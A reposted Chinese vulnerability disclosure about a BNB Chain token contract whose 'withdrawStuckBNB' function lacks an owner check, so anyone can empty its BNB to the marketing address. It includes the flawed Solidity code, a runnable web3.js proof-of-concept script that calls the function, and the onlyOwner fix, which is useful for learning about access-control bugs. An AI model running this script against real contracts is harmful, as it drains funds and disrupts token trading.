某合约任意提取BNB漏洞

2025-04-03 0 4,102
1背景描述

合约是一个在满足特定条件时在区块链上执行代码的程序,各方以数字签署合同的方式准许并维护它的其运行。这些代码可以是向朋友汇款、买卖 NFT 虚拟商品等一系列复杂的内容。

存在漏洞的目标合约是一个结合Meme文化病毒式传播与去中心化金融(DeFi)的创新项目,旨在通过趣味性和实用性打破传统Meme代币的模式。

该合约的代币目前市值1400K(USDT),日均交易量150K(USDT)

2问题描述

该合约“withdrawStuckBNB”函数没有添加权限控制,攻击者可以通过调用“withdrawStuckBNB”函数,将合约内所有BNB转至营销地址“marketingAddress”,从而导致合约交易异常。

tips:

BNB是BNB链生态系统的原生代币,该系统包含BNB智能链(BSC)和BNB信标链。在BNB智能链上,BNB用于支付交易费用和参与网络的共识机制。BNB还被用作实用代币,使用户在Binance中心化加密货币交易所进行交易时获得交易费用的折扣。

BNB在这个合约中的作用包括:作为交易对的配对货币,用于支付交易手续费,流动性池的组成部分,以及手续费收入的分配媒介

3问题代码分析
某合约任意提取BNB漏洞

function withdrawStuckBNB() external {
    bool success;
    (success,) = address(marketingAddress).call{value: address(this).balance}("");
}

在合约代码里面可以看到,withdrawStuckBNB 没有添加onlyOwner修饰,只有external修饰

tips:

1
2
3
4
5
6
7
8
9
Solidity语法中有4中默认函数修饰符
- public:最大访问权限,任何人都可以调用。
- private:只有合约内部可以调用,不可以被继承。
- internal:子合约可以继承和调用。
- external:外部可以调用,子合约可以继承和调用,当前合约不可以调用。

onlyOwner是该合约自定义一个修饰器,用于修饰函数,只有合约的所有者才能调用该函数。
这就意味着任何人都可以调用这个函数,将合约内所有BNB转至营销地址,导致资金被盗。

某合约任意提取BNB漏洞

4后续利用链分析

从问题代码可知,任何人都可以调用这个函数,将合约内所有BNB转至营销地址marketingAddress

查看marketingAddress的代码,marketingAddress是一个营销地址,更新marketingAddress的代码如下:
某合约任意提取BNB漏洞
可以看到,updateMarketingAddress函数存在onlyOwner修饰,只有owner可以调用这个函数,这就意味着只有owner可以更新marketingAddress的地址。所以利用链到此截止,攻击者只能调用withdrawStuckBNB将合约内的BNB转至marketingAddress,但是marketingAddress本身只能由owner更新,所以攻击者无法更新marketingAddress的地址,从而无法将BNB转至攻击者的地址,但是漏洞也能造成合约内BNB的清空,影响合约运行。
5构造POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
const Web3 = require('web3');
// // 初始化 Web3 实例,这里使用测试网的地址,你可以根据实际情况修改
const web3 = new Web3('https://data-seed-prebsc-1-s1.binance.org:8545');
// const web3 = new Web3('https://bsc-dataseed4.binance.org/');
const contractABI = ["""换成完整ABI"""];
const contractAddress = "0xaaaaa"// 替换为目标合约地址
const contract = new web3.eth.Contract(contractABI, contractAddress);
console.log("connect success");
// 如果使用 Node.js,需要添加私钥
const privateKey = '0xbbbbbbbbbbbbbb'// 替换为你的私钥
const account = web3.eth.accounts.privateKeyToAccount(privateKey);
web3.eth.accounts.wallet.add(account);
async function withdrawBNB() {
    try{
        console.log(account.address);
        const tx = {
            from: account.address, // 必须使用真实地址
            to: contractAddress,
            gas: 300000,
            data: contract.methods.withdrawStuckBNB().encodeABI()
        };
        // 估算 gas
        const gas = await web3.eth.estimateGas(tx);
        tx.gas = gas;
        // 获取当前 gasPrice
        const gasPrice = await web3.eth.getGasPrice();
        tx.gasPrice = gasPrice;
        // 签名并发送交易(Node.js 方式)
        const signedTx = await web3.eth.accounts.signTransaction(tx, privateKey);
        const receipt = await web3.eth.sendSignedTransaction(signedTx.rawTransaction);
        console.log('Transaction Hash:', receipt.transactionHash);
        console.log('Receipt:', receipt);
    catch (error) {
        console.error("Error:", error);
    }
    console.log("2");
}
withdrawBNB();
console.log("3");

6修复方案

在withdrawStuckBNB函数中添加onlyOwner修饰,只允许owner可以调用这个函数

function withdrawStuckBNB() external onlyOwner {
    (bool success,) = marketingAddress.call{value: address(this).balance}("");
    require(success, "Transfer failed");
}

该漏洞目前已向相关单位和厂商报送并已推出补丁,使用此漏洞造成的任何攻击影响均与本文作者无关。

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

免责声明:
1.本站资源均来自互联网收集整理,不保证百分百完整无错、不提供任何技术支持;无法接受请勿购买或下载,如需完整程序,请到其官方地址购买正版使用,敬请谅解!
2.本站资源来自于网络,版权争议与本站无关,请务必在下载后24小时内删除,谢谢支持!
3.本站资源售价只是赞助,收取费用仅维持本站日常运营所需!由于资源具有较强的可复制性,可传播性,所以一经购买概不退款,请悉知!
4.本站所有源码资源仅供技术研究、学习交流使用,用户需自行确保其使用行为符合所在国家或地区的法律法规。我们不为任何非法用途提供支持,购买前请确认当地法律允许。
5.本站压缩包文件默认解压密码为:83ym.com

83源码 资讯动态 某合约任意提取BNB漏洞 https://www.83ym.com/226.html

认准唯一TG:@ym830

常见问题
  • 站内所有资源,针对不同等级VIP会员可直接下载,特殊资源商品会注明是否免费,指会员所享有根据选择购买的会员选项所享有的特殊服务,具体以本站公布的服务内容为准。
查看详情
  • 按照我国的法律规定,运营网络棋牌首先需要成立一个注册正规备案的公司,然后申请网站备案、文网文、ICP等等,这些证件缺一不可。 一.注册公司 在当地工商进行注册,公司名称以“XX科技有限公司”为名,如:富裕棋牌经营范围填写“计算机软硬件、网络设备的设计开发与购销”。 二.域名及网站备案 在国内从事网站经营活动就必须经过相关部门的备案,因此棋牌运营商在购买了域名后,就要到当地网监局办理网站备案,或者请服务器提供商代为备案。 三.申请文网文 文网文全称为网络文化经营许可证,是从事经营性互联网文化活动所必需的资质。一般是需要到当地省一级(省、直辖市、自治区)的文化行政部门提出申请,并经由当地的文化行政部门合法批准。次资质要求申请公司注册资金必需达到1000万,并提供游戏版权证明文件。 四.申请ICP ICP又称为增值电信业务许可证,所有网络游戏运营商均需要办理ICP许可证,此证件要求公司注册资金1000万,需到当地市级通讯管理局办理。 五.申请文网游——游戏备案 根据《网络游戏管理暂行办法》(文化部第49号)的规定,国产网络游戏在上网运营之日起30日内应当按规定向国务院文化行政部门履行备案手续。 以上就是网络棋牌游戏正规运营所必需的资质证明。一般作为正规有实力的棋牌游戏开发公司,不光要具备所有的正规资质,而且会对投资者、代理商等合作伙伴给予相关指导和协助,与合作伙伴携手共赢!
查看详情

相关文章

猜你喜欢
官方客服团队

为您解决烦忧 - 24小时在线 专业服务